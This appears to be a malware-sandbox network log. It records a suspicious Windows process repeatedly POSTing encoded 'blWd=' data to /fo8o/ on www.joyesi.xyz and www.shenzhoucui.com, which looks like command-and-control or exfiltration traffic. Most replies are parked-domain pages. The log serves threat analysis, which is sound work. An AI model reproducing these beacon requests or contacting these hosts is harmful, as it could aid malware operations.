blWd=1hBK8uCOn0O6EW6yz6RxQvHFXjFKNUIfh7/yW947VRPHSinssib/27dTqTUFtpM6vSvEKXP8muzafC868wlSr6bIo4Zi6wN44kg9lIQqsnqeqnccshRLBx8iZvUa7OZaYJB61Sr5cvF7FEKGYsZQVD8HlvqBYp+iHVNIFTrcEmjVySc/Xv9fUW0hdBgPCI2zy0eS+zN0DUpB
Aug 2, 2024 13:53:35.868133068 CEST	1236	IN	HTTP/1.1 200 OK date: Fri, 02 Aug 2024 11:53:34 GMT content-type: text/html; charset=utf-8 content-length: 1106 x-request-id: f0818423-dd2c-443d-8e56-a14554145f15 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_DZHRwTcUADzBToRJTchIEt0chq2qzwv0V3TyRgH29Q+y+YVt4zGGrecgiCD1fYmFiE/tVLQb0H25HUNUVgiYeA== set-cookie: parking_session=f0818423-dd2c-443d-8e56-a14554145f15; expires=Fri, 02 Aug 2024 12:08:35 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 44 5a 48 52 77 54 63 55 41 44 7a 42 54 6f 52 4a 54 63 68 49 45 74 30 63 68 71 32 71 7a 77 76 30 56 33 54 79 52 67 48 32 39 51 2b 79 2b 59 56 74 34 7a 47 47 72 65 63 67 69 43 44 31 66 59 6d 46 69 45 2f 74 56 4c 51 62 30 48 32 35 48 55 4e 55 56 67 69 59 65 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_DZHRwTcUADzBToRJTchIEt0chq2qzwv0V3TyRgH29Q+y+YVt4zGGrecgiCD1fYmFiE/tVLQb0H25HUNUVgiYeA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Aug 2, 2024 13:53:35.868191957 CEST	559	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZjA4MTg0MjMtZGQyYy00NDNkLThlNTYtYTE0NTU0MTQ1ZjE1IiwicGFnZV90aW1lIjoxNzIyNTk5Nj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	64510	199.59.243.226	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:53:37.881253004 CEST	795	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.joyesi.xyz Origin: http://www.joyesi.xyz Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 233 Referer: http://www.joyesi.xyz/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 31 68 42 4b 38 75 43 4f 6e 30 4f 36 48 31 69 79 30 5a 4a 78 56 50 48 47 53 6a 46 4b 62 6b 49 54 68 37 37 79 57 38 4e 6d 56 45 58 48 54 41 2f 73 74 6a 62 2f 78 37 64 54 79 6a 55 45 67 4a 4d 7a 76 53 54 4d 4b 58 7a 38 6d 75 33 61 66 44 4d 36 38 6a 4e 52 71 71 62 4f 6a 59 5a 67 6e 41 4e 34 34 6b 67 39 6c 49 46 2f 73 6e 43 65 70 54 67 63 74 45 74 49 66 68 38 68 51 50 55 61 77 75 5a 65 59 4a 42 55 31 54 6e 54 63 70 4a 37 46 42 4f 47 59 39 5a 54 4d 7a 38 42 76 50 72 57 62 71 75 74 48 7a 59 6e 4b 79 72 37 66 55 54 74 36 45 64 6c 4c 63 39 38 47 47 55 6a 64 44 34 39 43 6f 32 5a 77 30 6d 53 73 6b 42 54 4d 67 4d 69 72 47 56 79 75 4e 65 50 47 70 78 34 38 63 7a 76 54 65 37 62 76 67 3d 3d Data Ascii: blWd=1hBK8uCOn0O6H1iy0ZJxVPHGSjFKbkITh77yW8NmVEXHTA/stjb/x7dTyjUEgJMzvSTMKXz8mu3afDM68jNRqqbOjYZgnAN44kg9lIF/snCepTgctEtIfh8hQPUawuZeYJBU1TnTcpJ7FBOGY9ZTMz8BvPrWbqutHzYnKyr7fUTt6EdlLc98GGUjdD49Co2Zw0mSskBTMgMirGVyuNePGpx48czvTe7bvg==
Aug 2, 2024 13:53:38.363174915 CEST	1236	IN	HTTP/1.1 200 OK date: Fri, 02 Aug 2024 11:53:37 GMT content-type: text/html; charset=utf-8 content-length: 1106 x-request-id: aa032d9c-4cae-49a1-8aa5-edea1cc5aeb7 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_DZHRwTcUADzBToRJTchIEt0chq2qzwv0V3TyRgH29Q+y+YVt4zGGrecgiCD1fYmFiE/tVLQb0H25HUNUVgiYeA== set-cookie: parking_session=aa032d9c-4cae-49a1-8aa5-edea1cc5aeb7; expires=Fri, 02 Aug 2024 12:08:38 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 44 5a 48 52 77 54 63 55 41 44 7a 42 54 6f 52 4a 54 63 68 49 45 74 30 63 68 71 32 71 7a 77 76 30 56 33 54 79 52 67 48 32 39 51 2b 79 2b 59 56 74 34 7a 47 47 72 65 63 67 69 43 44 31 66 59 6d 46 69 45 2f 74 56 4c 51 62 30 48 32 35 48 55 4e 55 56 67 69 59 65 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_DZHRwTcUADzBToRJTchIEt0chq2qzwv0V3TyRgH29Q+y+YVt4zGGrecgiCD1fYmFiE/tVLQb0H25HUNUVgiYeA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Aug 2, 2024 13:53:38.363200903 CEST	559	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYWEwMzJkOWMtNGNhZS00OWExLThhYTUtZWRlYTFjYzVhZWI3IiwicGFnZV90aW1lIjoxNzIyNTk5Nj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	64511	199.59.243.226	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:53:40.427459955 CEST	1808	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.joyesi.xyz Origin: http://www.joyesi.xyz Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1245 Referer: http://www.joyesi.xyz/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 31 68 42 4b 38 75 43 4f 6e 30 4f 36 48 31 69 79 30 5a 4a 78 56 50 48 47 53 6a 46 4b 62 6b 49 54 68 37 37 79 57 38 4e 6d 56 45 66 48 53 31 72 73 73 45 76 2f 77 37 64 54 73 54 55 42 67 4a 4e 6a 76 57 48 49 4b 58 2f 4b 6d 6f 72 61 51 42 45 36 70 69 4e 52 6b 71 62 4f 73 34 5a 68 36 77 4e 58 34 6b 77 35 6c 49 56 2f 73 6e 43 65 70 56 45 63 74 52 52 49 64 68 38 69 5a 76 55 4f 37 4f 5a 6d 59 4a 5a 69 31 54 7a 70 63 5a 70 37 46 68 65 47 65 50 68 54 54 44 38 44 73 50 72 65 62 71 6a 74 48 33 34 52 4b 79 66 46 66 55 33 74 73 69 73 34 55 64 78 39 45 30 4d 78 44 67 63 72 50 50 71 31 32 45 71 31 6c 6c 78 4d 4e 6a 4d 35 6f 7a 52 4c 36 63 7a 45 49 6f 41 59 31 5a 65 62 53 4d 57 63 33 33 4a 4f 4d 53 70 64 6f 34 6b 6c 79 6f 4c 71 6c 36 56 4d 64 6b 4f 35 61 51 79 64 2b 57 36 65 66 76 49 31 54 74 59 4b 68 52 38 34 5a 75 66 56 47 67 6c 32 6e 43 62 4c 76 50 5a 6a 35 78 58 55 6a 4c 6b 44 43 6f 6e 41 42 52 2f 35 64 41 38 61 63 50 61 68 71 6d 6c 61 2f 64 6e 66 54 37 66 54 75 35 30 45 4e 55 41 49 77 62 51 4f 44 [TRUNCATED] Data Ascii: blWd=1hBK8uCOn0O6H1iy0ZJxVPHGSjFKbkITh77yW8NmVEfHS1rssEv/w7dTsTUBgJNjvWHIKX/KmoraQBE6piNRkqbOs4Zh6wNX4kw5lIV/snCepVEctRRIdh8iZvUO7OZmYJZi1TzpcZp7FheGePhTTD8DsPrebqjtH34RKyfFfU3tsis4Udx9E0MxDgcrPPq12Eq1llxMNjM5ozRL6czEIoAY1ZebSMWc33JOMSpdo4klyoLql6VMdkO5aQyd+W6efvI1TtYKhR84ZufVGgl2nCbLvPZj5xXUjLkDConABR/5dA8acPahqmla/dnfT7fTu50ENUAIwbQODuMc3fCfH+zvSWm+vtGcVJG6AdAbDtwpMumsky2bjc910OOIkNfwdkcT4YUQ5tsOLtCyKV/1niyKcysA2iRpevWVCDr50/sCjOMYK2qmngdqa3tvq1oWEg2DLu7Z243EjnGpnEAi9b2EXVSk2/2zJ5W0Oc4v3A4OLIw1OP6ZLeMIEkNCwvwTnmhzsiD7fmHxLdn3Vz2NgsK5Riwun0PZpOAY/1M6Ms4sRi71avLK1bQP9fIvUjPkpbTgafhhB1hRiA19bCEG81fbmSe1p/+xtAfZbOOQiEQR4az3jm//mnQVG5wSsMJvBGV3z0FRv3DxbOmlO2/6P1cNcAnYJsBtogJRRwZf5+xVKAPVRp1OqiWryMAFFIQfj/FYlRcen3XPtTqMSV//2DpvddKeFnQ4vEv17ZvRE1tAjUneYjPSYJcIVYqlibZrXv8c/yKfUW4vpmyX54Y6JTmYoQuY/VVcx7Wdahqskfa7xMIV/Ht6rMB6xb5AzMBReRzsjNd4GarqhQ4zFkkOauF9LjeK1+xtktEnJCHMoWnit7QofStS3FbdtGbaCSBwb5wxCIcgelBXzbXaTbvHIPJUrFnVg2rsAwrQ3QHWKTiRgkuEPHDsKVFOtSVl29OL6DQS8Xdr2PYBsYnFJf8/tNyJXgEQa4NVdUDUT0WDrbxf+ro [TRUNCATED]
Aug 2, 2024 13:53:40.922607899 CEST	1236	IN	HTTP/1.1 200 OK date: Fri, 02 Aug 2024 11:53:40 GMT content-type: text/html; charset=utf-8 content-length: 1106 x-request-id: 24f1eaba-a35b-4805-838d-dd7ad5787939 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_DZHRwTcUADzBToRJTchIEt0chq2qzwv0V3TyRgH29Q+y+YVt4zGGrecgiCD1fYmFiE/tVLQb0H25HUNUVgiYeA== set-cookie: parking_session=24f1eaba-a35b-4805-838d-dd7ad5787939; expires=Fri, 02 Aug 2024 12:08:40 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 44 5a 48 52 77 54 63 55 41 44 7a 42 54 6f 52 4a 54 63 68 49 45 74 30 63 68 71 32 71 7a 77 76 30 56 33 54 79 52 67 48 32 39 51 2b 79 2b 59 56 74 34 7a 47 47 72 65 63 67 69 43 44 31 66 59 6d 46 69 45 2f 74 56 4c 51 62 30 48 32 35 48 55 4e 55 56 67 69 59 65 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_DZHRwTcUADzBToRJTchIEt0chq2qzwv0V3TyRgH29Q+y+YVt4zGGrecgiCD1fYmFiE/tVLQb0H25HUNUVgiYeA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Aug 2, 2024 13:53:40.922648907 CEST	559	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMjRmMWVhYmEtYTM1Yi00ODA1LTgzOGQtZGQ3YWQ1Nzg3OTM5IiwicGFnZV90aW1lIjoxNzIyNTk5Nj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	64512	199.59.243.226	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:53:42.959279060 CEST	521	OUT	GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=4jpq/azRsxa5RUjY86tNWfjSBjUfGmQA/bC5edk8IUrTRSqWoRPa/8wzulAZuqVnvDzKNkDL1IzsWztH+C0v0tvbjYVZrXx7xEZksJc7712LnlYWiWRTV2JAY9clvZ1jJotY128= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.joyesi.xyz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Aug 2, 2024 13:53:43.440464973 CEST	1236	IN	HTTP/1.1 200 OK date: Fri, 02 Aug 2024 11:53:42 GMT content-type: text/html; charset=utf-8 content-length: 1502 x-request-id: 7041abb3-3e39-42ca-90e2-f20874cef9da cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_cK9+Xvh5JytQQz0FIssO9+FG+B/j9hc06DGyH2SgzGII7IzY/695fW1MOGS+ZcjjEaswAEqw9fi8R84wQG7XMA== set-cookie: parking_session=7041abb3-3e39-42ca-90e2-f20874cef9da; expires=Fri, 02 Aug 2024 12:08:43 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 63 4b 39 2b 58 76 68 35 4a 79 74 51 51 7a 30 46 49 73 73 4f 39 2b 46 47 2b 42 2f 6a 39 68 63 30 36 44 47 79 48 32 53 67 7a 47 49 49 37 49 7a 59 2f 36 39 35 66 57 31 4d 4f 47 53 2b 5a 63 6a 6a 45 61 73 77 41 45 71 77 39 66 69 38 52 38 34 77 51 47 37 58 4d 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_cK9+Xvh5JytQQz0FIssO9+FG+B/j9hc06DGyH2SgzGII7IzY/695fW1MOGS+ZcjjEaswAEqw9fi8R84wQG7XMA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Aug 2, 2024 13:53:43.440551996 CEST	955	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNzA0MWFiYjMtM2UzOS00MmNhLTkwZTItZjIwODc0Y2VmOWRhIiwicGFnZV90aW1lIjoxNzIyNTk5Nj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	64515	72.52.178.23	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:53:56.772433043 CEST	786	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.shenzhoucui.com Origin: http://www.shenzhoucui.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 209 Referer: http://www.shenzhoucui.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 50 49 6e 49 63 4d 6d 76 50 55 67 68 68 69 71 34 65 61 6e 35 72 38 69 50 4f 69 59 69 56 6a 57 66 48 35 65 4a 33 34 41 58 45 59 46 38 6b 77 6f 54 79 2f 46 79 36 4f 61 57 49 75 4f 34 37 53 69 35 51 52 76 4b 74 55 7a 49 73 37 78 39 72 4d 52 4b 61 52 64 46 54 45 45 4d 50 58 31 51 43 51 64 4e 6e 39 69 2b 64 65 30 6c 44 74 45 4d 42 64 54 2b 39 65 56 71 4d 61 4b 71 35 47 72 43 6a 6d 63 43 39 61 4d 68 68 35 6b 56 70 79 4d 52 33 36 4f 61 66 52 54 56 79 53 6d 63 2f 49 74 36 70 6e 78 51 34 79 62 50 6a 5a 51 79 2f 2b 55 4d 76 4a 6a 73 2b 63 46 6f 35 4c 79 6d 62 38 4f 62 33 4a 42 44 77 4c 69 2b 76 54 42 73 74 47 4f 38 Data Ascii: blWd=PInIcMmvPUghhiq4ean5r8iPOiYiVjWfH5eJ34AXEYF8kwoTy/Fy6OaWIuO47Si5QRvKtUzIs7x9rMRKaRdFTEEMPX1QCQdNn9i+de0lDtEMBdT+9eVqMaKq5GrCjmcC9aMhh5kVpyMR36OafRTVySmc/It6pnxQ4ybPjZQy/+UMvJjs+cFo5Lymb8Ob3JBDwLi+vTBstGO8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	64516	72.52.178.23	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:53:59.307461977 CEST	810	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.shenzhoucui.com Origin: http://www.shenzhoucui.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 233 Referer: http://www.shenzhoucui.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 50 49 6e 49 63 4d 6d 76 50 55 67 68 67 48 69 34 62 39 4c 35 67 38 69 4d 58 69 59 69 62 44 58 33 48 35 61 4a 33 36 74 4b 48 71 68 38 6b 55 67 54 78 37 5a 79 35 4f 61 57 43 4f 4f 78 6d 69 69 45 51 52 69 39 74 52 4c 49 73 2f 68 39 72 4e 4e 4b 61 6d 70 45 51 30 45 4f 41 33 31 65 4d 77 64 4e 6e 39 69 2b 64 66 52 2b 44 74 73 4d 41 70 76 2b 39 37 68 72 46 36 4b 70 2b 47 72 43 6e 6d 63 47 39 61 4d 54 68 38 4d 72 70 33 41 52 33 2f 71 61 65 46 48 61 6e 43 6d 47 37 49 73 6c 76 48 6b 58 36 41 4b 4d 67 61 67 64 75 2b 52 72 6a 66 69 32 69 76 46 4c 72 62 53 6b 62 2b 57 70 33 70 42 70 79 4c 61 2b 39 45 4e 4c 69 79 72 66 6c 6c 51 4d 46 35 77 49 69 37 54 55 50 52 2b 4c 34 6e 76 45 75 51 3d 3d Data Ascii: blWd=PInIcMmvPUghgHi4b9L5g8iMXiYibDX3H5aJ36tKHqh8kUgTx7Zy5OaWCOOxmiiEQRi9tRLIs/h9rNNKampEQ0EOA31eMwdNn9i+dfR+DtsMApv+97hrF6Kp+GrCnmcG9aMTh8Mrp3AR3/qaeFHanCmG7IslvHkX6AKMgagdu+Rrjfi2ivFLrbSkb+Wp3pBpyLa+9ENLiyrfllQMF5wIi7TUPR+L4nvEuQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
